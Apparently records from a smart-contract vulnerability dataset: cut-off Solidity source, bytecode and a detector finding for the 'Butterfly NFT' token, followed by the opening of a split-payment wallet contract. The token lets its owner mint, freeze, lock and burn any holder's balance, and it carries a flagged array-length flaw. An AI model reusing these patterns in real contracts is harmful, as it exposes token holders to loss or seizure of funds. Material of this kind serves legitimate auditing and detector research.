"SafeMath: modulo by zero"); return a % b; } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } contract ButterflyNFT is ERC20 { string public constant name = "Butterfly NFT"; string public constant symbol = "BNFT🦋"; uint8 public constant decimals = 18; uint256 public constant initialSupply = 50000 * (10 ** uint256(decimals)); constructor() public { super._mint(msg.sender, initialSupply); owner = msg.sender; } address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); modifier onlyOwner() { require(msg.sender == owner, "Not owner"); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0), "Already owner"); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } //pausable event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused, "Paused by owner"); _; } modifier whenPaused() { require(paused, "Not paused now"); _; } function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } event Frozen(address target); event Unfrozen(address target); mapping(address => bool) internal freezes; modifier whenNotFrozen() { require(!freezes[msg.sender], "Sender account is locked."); _; } function freeze(address _target) public onlyOwner { freezes[_target] = true; emit Frozen(_target); } function unfreeze(address _target) public onlyOwner { freezes[_target] = false; emit Unfrozen(_target); } function isFrozen(address _target) public view returns (bool) { return freezes[_target]; } function transfer( address _to, uint256 _value ) public whenNotFrozen whenNotPaused returns (bool) { releaseLock(msg.sender); return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { require(!freezes[_from], "From account is locked."); releaseLock(_from); return super.transferFrom(_from, _to, _value); } //mintable event Mint(address indexed to, uint256 amount); function mint( address _to, uint256 _amount ) public onlyOwner returns (bool) { super._mint(_to, _amount); emit Mint(_to, _amount); return true; } //burnable event Burn(address indexed burner, uint256 value); function burn(address _who, uint256 _value) public onlyOwner { require(_value <= super.balanceOf(_who), "Balance is too small."); _burn(_who, _value); emit Burn(_who, _value); } //lockable struct LockInfo { uint256 releaseTime; uint256 balance; } mapping(address => LockInfo[]) internal lockInfo; event Lock(address indexed holder, uint256 value, uint256 releaseTime); event Unlock(address indexed holder, uint256 value); function balanceOf(address _holder) public view returns (uint256 balance) { uint256 lockedBalance = 0; for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) { lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance); } return super.balanceOf(_holder).add(lockedBalance); } function releaseLock(address _holder) internal { for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) { if (lockInfo[_holder][i].releaseTime <= now) { _balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance); emit Unlock(_holder, lockInfo[_holder][i].balance); lockInfo[_holder][i].balance = 0; if (i != lockInfo[_holder].length - 1) { lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1]; i--; } lockInfo[_holder].length--; } } } function lockCount(address _holder) public view returns (uint256) { return lockInfo[_holder].length; } function lockState(address _holder, uint256 _idx) public view returns (uint256, uint256) { return (lockInfo[_holder][_idx].releaseTime, lockInfo[_holder][_idx].balance); } function lock(address _holder, uint256 _amount, uint256 _releaseTime) public onlyOwner { require(super.balanceOf(_holder) >= _amount, "Balance is too small."); _balances[_holder] = _balances[_holder].sub(_amount); lockInfo[_holder].push( LockInfo(_releaseTime, _amount) ); emit Lock(_holder, _amount, _releaseTime); } function lockAfter(address _holder, uint256 _amount, uint256 _afterTime) public onlyOwner { require(super.balanceOf(_holder) >= _amount, "Balance is too small."); _balances[_holder] = _balances[_holder].sub(_amount); lockInfo[_holder].push( LockInfo(now + _afterTime, _amount) ); emit Lock(_holder, _amount, now + _afterTime); } function unlock(address _holder, uint256 i) public onlyOwner { require(i < lockInfo[_holder].length, "No lock information."); _balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance); emit Unlock(_holder, lockInfo[_holder][i].balance); lockInfo[_holder][i].balance = 0; if (i != lockInfo[_holder].length - 1) { lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1]; } lockInfo[_holder].length--; } function transferWithLock(address _to, uint256 _value, uint256 _releaseTime) public onlyOwner returns (bool) { require(_to != address(0), "wrong address"); require(_value <= super.balanceOf(owner), "Not enough balance"); _balances[owner] = _balances[owner].sub(_value); lockInfo[_to].push( LockInfo(_releaseTime, _value) ); emit Transfer(owner, _to, _value); emit Lock(_to, _value, _releaseTime); return true; } function transferWithLockAfter(address _to, uint256 _value, uint256 _afterTime) public onlyOwner returns (bool) { require(_to != address(0), "wrong address"); require(_value <= super.balanceOf(owner), "Not enough balance"); _balances[owner] = _balances[owner].sub(_value); lockInfo[_to].push( LockInfo(now + _afterTime, _value) ); emit Transfer(owner, _to, _value); emit Lock(_to, _value, now + _afterTime); return true; } function currentTime() public view returns (uint256) { return now; } function afterTime(uint256 _value) public view returns (uint256) { return now + _value; } mapping (address => uint256) public airDropHistory; event AirDrop(address _receiver, uint256 _amount); function dropToken(address[] memory receivers, uint256[] memory values) onlyOwner public { require(receivers.length != 0); require(receivers.length == values.length); for (uint256 i = 0; i < receivers.length; i++) { address receiver = receivers[i]; uint256 amount = values[i]; transfer(receiver, amount); airDropHistory[receiver] += amount; emit AirDrop(receiver, amount); } } }
0x608060405234801561001057600080fd5b50600436106102265760003560e01c80638a57af6b1161012a578063c77828d0116100bd578063de6baccb1161008c578063e2ab691d11610071578063e2ab691d146107c7578063e5839836146107f9578063f2fde38b1461081f57610226565b8063de6baccb1461076f578063df034586146107a157610226565b8063c77828d0146105ec578063ccd28a4c14610713578063d18e81b314610739578063dd62ed3e1461074157610226565b806395d89b41116100f957806395d89b41146105605780639dc29fac14610568578063a457c2d714610594578063a9059cbb146105c057610226565b80638a57af6b146104b25780638d1fdf2f146104e45780638da5cb5b1461050a578063927a4a7b1461052e57610226565b80633f4ba83a116101bd5780635c975abb1161018c578063715018a611610171578063715018a6146104765780637eee288d1461047e5780638456cb59146104aa57610226565b80635c975abb1461044857806370a082311461045057610226565b80633f4ba83a146103a757806340c10f19146103b157806345c8b1a6146103dd57806346cf1bb51461040357610226565b806323b872dd116101f957806323b872dd1461031f578063313ce56714610355578063378dc3dc14610373578063395093511461037b57610226565b806304859ceb1461022b57806306fdde031461025a578063095ea7b3146102d757806318160ddd14610317575b600080fd5b6102486004803603602081101561024157600080fd5b5035610845565b60408051918252519081900360200190f35b61026261084a565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029c578181015183820152602001610284565b50505050905090810190601f1680156102c95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610303600480360360408110156102ed57600080fd5b506001600160a01b038135169060200135610883565b604080519115158252519081900360200190f35b610248610899565b6103036004803603606081101561033557600080fd5b506001600160a01b038135811691602081013590911690604001356108a0565b61035d610992565b6040805160ff9092168252519081900360200190f35b610248610997565b6103036004803603604081101561039157600080fd5b506001600160a01b0381351690602001356109a5565b6103af6109e6565b005b610303600480360360408110156103c757600080fd5b506001600160a01b038135169060200135610ae1565b6103af600480360360208110156103f357600080fd5b50356001600160a01b0316610b87565b61042f6004803603604081101561041957600080fd5b506001600160a01b038135169060200135610c30565b6040805192835260208301919091528051918290030190f35b610303610ca9565b6102486004803603602081101561046657600080fd5b50356001600160a01b0316610cb9565b6103af610d53565b6103af6004803603604081101561049457600080fd5b506001600160a01b038135169060200135610dfb565b6103af6110a9565b6103af600480360360608110156104c857600080fd5b506001600160a01b0381351690602081013590604001356111ab565b6103af600480360360208110156104fa57600080fd5b50356001600160a01b0316611321565b6105126113cd565b604080516001600160a01b039092168252519081900360200190f35b6103036004803603606081101561054457600080fd5b506001600160a01b0381351690602081013590604001356113dc565b61026261160e565b6103af6004803603604081101561057e57600080fd5b506001600160a01b038135169060200135611647565b610303600480360360408110156105aa57600080fd5b506001600160a01b038135169060200135611745565b610303600480360360408110156105d657600080fd5b506001600160a01b038135169060200135611781565b6103af6004803603604081101561060257600080fd5b81019060208101813564010000000081111561061d57600080fd5b82018360208201111561062f57600080fd5b8035906020019184602083028401116401000000008311171561065157600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092959493602081019350359150506401000000008111156106a157600080fd5b8201836020820111156106b357600080fd5b803590602001918460208302840111640100000000831117156106d557600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061185e945050505050565b6102486004803603602081101561072957600080fd5b50356001600160a01b0316611971565b610248611983565b6102486004803603604081101561075757600080fd5b506001600160a01b0381358116916020013516611987565b6103036004803603606081101561078557600080fd5b506001600160a01b0381351690602081013590604001356119b2565b610248600480360360208110156107b757600080fd5b50356001600160a01b0316611be1565b6103af600480360360608110156107dd57600080fd5b506001600160a01b038135169060208101359060400135611bfc565b6103036004803603602081101561080f57600080fd5b50356001600160a01b0316611d6b565b6103af6004803603602081101561083557600080fd5b50356001600160a01b0316611d89565b420190565b6040518060400160405280600d81526020017f427574746572666c79204e46540000000000000000000000000000000000000081525081565b6000610890338484611de6565b50600192915050565b6002545b90565b600354600090600160a01b900460ff16156109055760408051600160e51b62461bcd02815260206004820152600f60248201527f506175736564206279206f776e65720000000000000000000000000000000000604482015290519081900360640190fd5b6001600160a01b03841660009081526004602052604090205460ff16156109765760408051600160e51b62461bcd02815260206004820152601760248201527f46726f6d206163636f756e74206973206c6f636b65642e000000000000000000604482015290519081900360640190fd5b61097f84611ed8565b61098a8484846120fb565b949350505050565b601281565b690a968163f0a57b40000081565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916108909185906109e1908663ffffffff61214d16565b611de6565b6003546001600160a01b03163314610a375760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b600354600160a01b900460ff16610a985760408051600160e51b62461bcd02815260206004820152600e60248201527f4e6f7420706175736564206e6f77000000000000000000000000000000000000604482015290519081900360640190fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b6003546000906001600160a01b03163314610b355760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b610b3f83836121aa565b6040805183815290516001600160a01b038516917f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885919081900360200190a250600192915050565b6003546001600160a01b03163314610bd85760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19169055815192835290517f4feb53e305297ab8fb8f3420c95ea04737addc254a7270d8fc4605d2b9c61dba9281900390910190a150565b6001600160a01b0382166000908152600560205260408120805482919084908110610c5757fe5b600091825260208083206002909202909101546001600160a01b038716835260059091526040909120805485908110610c8c57fe5b906000526020600020906002020160010154915091509250929050565b600354600160a01b900460ff1681565b600080805b6001600160a01b038416600090815260056020526040902054811015610d32576001600160a01b03841660009081526005602052604090208054610d28919083908110610d0757fe5b9060005260206000209060020201600101548361214d90919063ffffffff16565b9150600101610cbe565b50610d4c81610d408561229d565b9063ffffffff61214d16565b9392505050565b6003546001600160a01b03163314610da45760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6003546040516001600160a01b03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b6003546001600160a01b03163314610e4c5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b0382166000908152600560205260409020548110610ebb5760408051600160e51b62461bcd02815260206004820152601460248201527f4e6f206c6f636b20696e666f726d6174696f6e2e000000000000000000000000604482015290519081900360640190fd5b6001600160a01b03821660009081526005602052604090208054610f1d919083908110610ee457fe5b60009182526020808320600160029093020191909101546001600160a01b0386168352908290526040909120549063ffffffff61214d16565b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1919084908110610f7157fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b0382166000908152600560205260408120805483908110610fbc57fe5b60009182526020808320600160029093020191909101929092556001600160a01b03841681526005909152604090205460001901811461107b576001600160a01b03821660009081526005602052604090208054600019810190811061101e57fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b03168152602001908152602001600020828154811061105c57fe5b6000918252602090912082546002909202019081556001918201549101555b6001600160a01b03821660009081526005602052604090208054906110a4906000198301612610565b505050565b6003546001600160a01b031633146110fa5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b600354600160a01b900460ff161561115c5760408051600160e51b62461bcd02815260206004820152600f60248201527f506175736564206279206f776e65720000000000000000000000000000000000604482015290519081900360640190fd5b6003805474ff00000000000000000000000000000000000000001916600160a01b1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b6003546001600160a01b031633146111fc5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b816112068461229d565b101561125c5760408051600160e51b62461bcd02815260206004820152601560248201527f42616c616e636520697320746f6f20736d616c6c2e0000000000000000000000604482015290519081900360640190fd5b6001600160a01b038316600090815260208190526040902054611285908363ffffffff6122b816565b6001600160a01b038416600081815260208181526040808320949094556005815283822084518086018652428701808252818401898152835460018181018655948752958590209251600290960290920194855590519390910192909255835186815290810191909152825191927f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b92918290030190a2505050565b6003546001600160a01b031633146113725760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19166001179055815192835290517f8a5c4736a33c7b7f29a2c34ea9ff9608afc5718d56f6fd6dcbd2d3711a1a49139281900390910190a150565b6003546001600160a01b031681565b6003546000906001600160a01b031633146114305760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b03841661148e5760408051600160e51b62461bcd02815260206004820152600d60248201527f77726f6e67206164647265737300000000000000000000000000000000000000604482015290519081900360640190fd5b6003546114a3906001600160a01b031661229d565b8311156114fa5760408051600160e51b62461bcd02815260206004820152601260248201527f4e6f7420656e6f7567682062616c616e63650000000000000000000000000000604482015290519081900360640190fd5b6003546001600160a01b0316600090815260208190526040902054611525908463ffffffff6122b816565b600380546001600160a01b03908116600090815260208181526040808320959095558883168083526005825285832086518088018852428a0181528084018b815282546001818101855593875295859020915160029096029091019485555193019290925592548451888152945191949216927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef928290030190a360408051848152428401602082015281516001600160a01b038716927f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b928290030190a25060019392505050565b6040518060400160405280600881526020017f424e4654f09fa68b00000000000000000000000000000000000000000000000081525081565b6003546001600160a01b031633146116985760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6116a18261229d565b8111156116f85760408051600160e51b62461bcd02815260206004820152601560248201527f42616c616e636520697320746f6f20736d616c6c2e0000000000000000000000604482015290519081900360640190fd5b6117028282612318565b6040805182815290516001600160a01b038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916108909185906109e1908663ffffffff6122b816565b3360009081526004602052604081205460ff16156117e95760408051600160e51b62461bcd02815260206004820152601960248201527f53656e646572206163636f756e74206973206c6f636b65642e00000000000000604482015290519081900360640190fd5b600354600160a01b900460ff161561184b5760408051600160e51b62461bcd02815260206004820152600f60248201527f506175736564206279206f776e65720000000000000000000000000000000000604482015290519081900360640190fd5b61185433611ed8565b610d4c83836123f4565b6003546001600160a01b031633146118af5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b81516118ba57600080fd5b80518251146118c857600080fd5b60005b82518110156110a45760008382815181106118e257fe5b6020026020010151905060008383815181106118fa57fe5b6020026020010151905061190e8282611781565b506001600160a01b0382166000818152600660209081526040918290208054850190558151928352820183905280517f2a2f3a6f457f222229acc6b14376a5d3f4344fae935675150a096e2f1056bd989281900390910190a150506001016118cb565b60066020526000908152604090205481565b4290565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6003546000906001600160a01b03163314611a065760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b038416611a645760408051600160e51b62461bcd02815260206004820152600d60248201527f77726f6e67206164647265737300000000000000000000000000000000000000604482015290519081900360640190fd5b600354611a79906001600160a01b031661229d565b831115611ad05760408051600160e51b62461bcd02815260206004820152601260248201527f4e6f7420656e6f7567682062616c616e63650000000000000000000000000000604482015290519081900360640190fd5b6003546001600160a01b0316600090815260208190526040902054611afb908463ffffffff6122b816565b600380546001600160a01b039081166000908152602081815260408083209590955588831680835260058252858320865180880188528981528084018b815282546001818101855593875295859020915160029096029091019485555193019290925592548451888152945191949216927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef928290030190a3604080518481526020810184905281516001600160a01b038716927f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b928290030190a25060019392505050565b6001600160a01b031660009081526005602052604090205490565b6003546001600160a01b03163314611c4d5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b81611c578461229d565b1015611cad5760408051600160e51b62461bcd02815260206004820152601560248201527f42616c616e636520697320746f6f20736d616c6c2e0000000000000000000000604482015290519081900360640190fd5b6001600160a01b038316600090815260208190526040902054611cd6908363ffffffff6122b816565b6001600160a01b0384166000818152602081815260408083209490945560058152838220845180860186528681528083018881528254600181810185559386529484902091516002909502909101938455519201919091558251858152908101849052825191927f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b92918290030190a2505050565b6001600160a01b031660009081526004602052604090205460ff1690565b6003546001600160a01b03163314611dda5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b611de381612401565b50565b6001600160a01b038316611e2e57604051600160e51b62461bcd0281526004018080602001828103825260248152602001806126e46024913960400191505060405180910390fd5b6001600160a01b038216611e7657604051600160e51b62461bcd02815260040180806020018281038252602281526020018061267c6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b60005b6001600160a01b0382166000908152600560205260409020548110156120f7576001600160a01b0382166000908152600560205260409020805442919083908110611f2257fe5b906000526020600020906002020160000154116120ef576001600160a01b03821660009081526005602052604090208054611f62919083908110610ee457fe5b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1919084908110611fb657fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b038216600090815260056020526040812080548390811061200157fe5b60009182526020808320600160029093020191909101929092556001600160a01b0384168152600590915260409020546000190181146120c4576001600160a01b03821660009081526005602052604090208054600019810190811061206357fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b0316815260200190815260200160002082815481106120a157fe5b600091825260209091208254600290920201908155600191820154910155600019015b6001600160a01b03821660009081526005602052604090208054906120ed906000198301612610565b505b600101611edb565b5050565b60006121088484846124c8565b6001600160a01b0384166000908152600160209081526040808320338085529252909120546121439186916109e1908663ffffffff6122b816565b5060019392505050565b600082820183811015610d4c5760408051600160e51b62461bcd02815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b0382166122085760408051600160e51b62461bcd02815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b60025461221b908263ffffffff61214d16565b6002556001600160a01b038216600090815260208190526040902054612247908263ffffffff61214d16565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b031660009081526020819052604090205490565b6000828211156123125760408051600160e51b62461bcd02815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b6001600160a01b03821661236057604051600160e51b62461bcd02815260040180806020018281038252602181526020018061269e6021913960400191505060405180910390fd5b600254612373908263ffffffff6122b816565b6002556001600160a01b03821660009081526020819052604090205461239f908263ffffffff6122b816565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35050565b60006108903384846124c8565b6001600160a01b03811661245f5760408051600160e51b62461bcd02815260206004820152600d60248201527f416c7265616479206f776e657200000000000000000000000000000000000000604482015290519081900360640190fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b03831661251057604051600160e51b62461bcd0281526004018080602001828103825260258152602001806126bf6025913960400191505060405180910390fd5b6001600160a01b03821661255857604051600160e51b62461bcd0281526004018080602001828103825260238152602001806126596023913960400191505060405180910390fd5b6001600160a01b038316600090815260208190526040902054612581908263ffffffff6122b816565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546125b6908263ffffffff61214d16565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b8154818355818111156110a4576000838152602090206110a49161089d9160029182028101918502015b80821115612654576000808255600182015560020161263a565b509056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a165627a7a723058208a9f6dce9a0bf38382e33d77f70e97cc9f20f1d29e22b23335bd49e3cb2095ef0029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
8,589
0x65c0c6b4109f6ed7797efdb8bd03f03b1b641029
pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Erc20Wallet { mapping (address => mapping (address => uint)) public tokens; //mapping of token addresses to mapping of account balances (token=0 means Ether) event Deposit(address token, address user, uint amount, uint balance); event Withdraw(address token, address user, uint amount, uint balance); mapping (address => uint) public totalDeposited; function() public { revert(); } modifier onlyToken (address token) { require( token != 0); _; } function commonDeposit(address token, uint value) internal { tokens[token][msg.sender] += value; totalDeposited[token] += value; emit Deposit( token, msg.sender, value, tokens[token][msg.sender]); } function commonWithdraw(address token, uint value) internal { require (tokens[token][msg.sender] >= value); tokens[token][msg.sender] -= value; totalDeposited[token] -= value; require((token != 0)? ERC20(token).transfer(msg.sender, value): // solium-disable-next-line security/no-call-value msg.sender.call.value(value)() ); emit Withdraw( token, msg.sender, value, tokens[token][msg.sender]); } function deposit() public payable { commonDeposit(0, msg.value); } function withdraw(uint amount) public { commonWithdraw(0, amount); } function depositToken(address token, uint amount) public onlyToken(token){ //remember to call Token(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf. require (ERC20(token).transferFrom(msg.sender, this, amount)); commonDeposit(token, amount); } function withdrawToken(address token, uint amount) public { commonWithdraw(token, amount); } function balanceOf(address token, address user) public constant returns (uint) { return tokens[token][user]; } } /** * @title SplitERC20Payment * @dev Base contract that supports multiple payees claiming funds sent to this contract * according to the proportion they own. */ contract SplitErc20Payment is Erc20Wallet{ using SafeMath for uint256; mapping (address => uint) public totalShares; mapping (address => uint) public totalReleased; mapping (address => mapping (address => uint)) public shares; //mapping of token addresses to mapping of account balances (token=0 means Ether) mapping (address => mapping (address => uint)) public released; //mapping of token addresses to mapping of account balances (token=0 means Ether) address[] public payees; function withdrawToken(address, uint) public{ revert(); } function withdraw(uint) public { revert(); } function computePayeeBalance (address token, address payer, uint value) internal { if (shares[token][payer] == 0) addPayee(token, payer, value); else addToPayeeBalance(token, payer, value); } function deposit() public payable{ super.deposit(); computePayeeBalance(0, msg.sender, msg.value); } function depositToken(address token, uint amount) public{ super.depositToken(token, amount); computePayeeBalance(token, msg.sender, amount); } function executeClaim(address token, address payee, uint payment) internal { require(payment != 0); require(totalDeposited[token] >= payment); released[token][payee] += payment; totalReleased[token] += payment; super.withdrawToken(token, payment); } function calculateMaximumPayment(address token, address payee)view internal returns(uint){ require(shares[token][payee] > 0); uint totalReceived = totalDeposited[token] + totalReleased[token]; return (totalReceived * shares[token][payee] / totalShares[token]) - released[token][payee]; } /** * @dev Claim your share of the balance. */ function claim(address token) public { executeClaim(token, msg.sender, calculateMaximumPayment(token, msg.sender)); } /** * @dev Claim part of your share of the balance. */ function partialClaim(address token, uint payment) public { uint maximumPayment = calculateMaximumPayment(token, msg.sender); require (payment <= maximumPayment); executeClaim(token, msg.sender, payment); } /** * @dev Add a new payee to the contract. * @param _payee The address of the payee to add. * @param _shares The number of shares owned by the payee. */ function addPayee(address token, address _payee, uint256 _shares) internal { require(_payee != address(0)); require(_shares > 0); require(shares[token][_payee] == 0); payees.push(_payee); shares[token][_payee] = _shares; totalShares[token] += _shares; } /** * @dev Add to payee balance * @param _payee The address of the payee to add. * @param _shares The number of shares to add to the payee. */ function addToPayeeBalance(address token, address _payee, uint256 _shares) internal { require(_payee != address(0)); require(_shares > 0); require(shares[token][_payee] > 0); shares[token][_payee] += _shares; totalShares[token] += _shares; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address 